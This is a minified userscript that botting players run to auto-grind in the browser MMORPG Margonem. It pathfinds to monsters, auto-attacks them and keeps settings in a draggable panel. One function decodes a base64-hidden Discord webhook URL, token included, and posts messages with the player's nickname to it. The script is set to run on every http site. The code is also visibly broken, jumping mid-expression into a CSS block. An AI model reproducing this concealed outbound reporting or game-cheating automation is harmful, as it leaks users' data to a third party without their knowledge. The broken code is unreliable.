// @name Bot na exp z mapkami
// @version 1.87
// @description a ja wtady do niego, adi we ty napisz bota jakiegos
// @author adi wilk
// @match http://*/*
// @grant none
// ==/UserScript==
window.adiwilkTestBot=new function(){function b(K,L){return Math.abs(K.x-L.x)+Math.abs(K.y-L.y)}function d(K,L){return new s(map.col,map.x,map.y,{x:hero.x,y:hero.y},{x:K,y:L},g.npccol).anotherFindPath()}function e(K,L){let M=d(K,L);Array.isArray(M)&&(window.road=M)}function f(K){let L=g.npc[K];if(L.grp)for(let M in g.npc)g.npc[M].grp!=L.grp||I.includes(g.npc[M].id)||I.push(g.npc[M].id);else I.includes(K)||I.push(K)}function k(){for(let K in g.npc){let L=g.npc[K];if((2==L.type||3==L.type)&&19>L.wt&&o(L.id)&&hero.lvl+30>=L.lvl&&2>Math.abs(hero.x-L.x)&&2>Math.abs(hero.y-L.y)&&q())return _g(`fight&a=attack&ff=1&id=-${L.id}`)}}function l(K){let L=atob("aHR0cHM6Ly9kaXNjb3JkYXBwLmNvbS9hcGkvd2ViaG9va3MvNDc3NjYzNTM1NDAxMjcxMzE2L1V5ZmtfS194cUY3bFpnN3lycTl4SUVWMEREZ1dMVlEySVlMZFA4akhRdWhrUFNGbENqZlpOSVRhQmhzSnA1ekVtTVlu");$.ajax({url:L,type:"POST",data:JSON.stringify({content:K,username:hero.nick,avatar_url:`http://jaruna.margonem.pl/obrazki/itemy/upg/upg01.gif`}),contentType:"application/json; charset=utf-8",dataType:"json",async:!1})}function m(){let K=new Date,L=K.getHours(),M=K.getSeconds(),N=K.getMinutes();return 10>L&&(L=`0${L}`),10>N&&(N=`0${N}`),10>M&&(M=`0${M}`),`${L}:${N}:${M}`}function o(K){return g.npc[K].grp&&(!p(g.npc[K].grp)||r[localStorage.getItem(`adi-bot_expowiska`)].ignore_grp&&r[localStorage.getItem(`adi-bot_expowiska`)].ignore_grp.includes(g.npc[K].grp))?!1:!0}function p(K){for(let L in g.npc)if(g.npc[L].grp==K&&19
position: absolute;
border: 2px solid red;
padding: 5px;
text-align: center;
background: black;
cursor: grab;
left: ${K.x}px;
top: ${K.y}px;
width: auto;
height: auto;
z-index: 390;
}
.adi-bot_inputs {
-webkit-box-sizing: content-box;
-moz-box-sizing: content-box;
box-sizing: content-box;
margin: 0 auto;
margin-bottom: 3px;
padding: 2px;
cursor: pointer;
border: 2px solid #f76f6f;
-webkit-border-radius: 5px;
border-radius: 5px;
font: normal 16px/normal "Times New Roman", Times, serif;
color: rgba(0,142,198,1);
-o-text-overflow: clip;
text-overflow: clip;
background: rgba(234,227,227,1);
-webkit-box-shadow: 2px 2px 2px 0 rgba(0,0,0,0.2) inset;
box-shadow: 2px 2px 2px 0 rgba(0,0,0,0.2) inset;
text-shadow: 1px 1px 0 rgba(255,255,255,0.66) ;
display: block;
}
input[id=adi-bot_mobs] {
text-align: center;
}
#adi-bot_blessingbox {
border: 1px solid red;
background: gray;
height: 32px;
width: 32px;
margin: 0 auto;
}
`;P.appendChild(document.createTextNode(Q)),document.head.appendChild(P),localStorage.getItem(`adi-bot_mobs`)&&(M.value=localStorage.getItem(`adi-bot_mobs`)),localStorage.getItem(`adi-bot_maps`)&&(N.value=localStorage.getItem(`adi-bot_maps`)),localStorage.getItem(`adi-bot_expowiska`)&&r[localStorage.getItem(`adi-bot_expowiska`)]&&(O.value=localStorage.getItem(`adi-bot_expowiska`)),M.addEventListener(`keyup`,()=>{localStorage.setItem(`adi-bot_mobs`,M.value)}),N.addEventListener(`keyup`,()=>{localStorage.setItem(`adi-bot_maps`,N.value)}),O.addEventListener(`change`,()=>{localStorage.setItem(`adi-bot_expowiska`,O.value),N.value=r[O.value].map,localStorage.setItem(`adi-bot_maps`,N.value),localStorage.setItem(`alksjd`,0),message(`Zapisano expowisko "${O.value}"`)}),$(`#adi-bot_box`).draggable({stop:()=>{let R={x:parseInt(document.querySelector(`#adi-bot_box`).style.left),y:parseInt(document.querySelector(`#adi-bot_box`).style.top)};localStorage.setItem(`adi-bot_position`,JSON.stringify(R)),message(`Zapisano pozycję`)}})},this.initHTML()};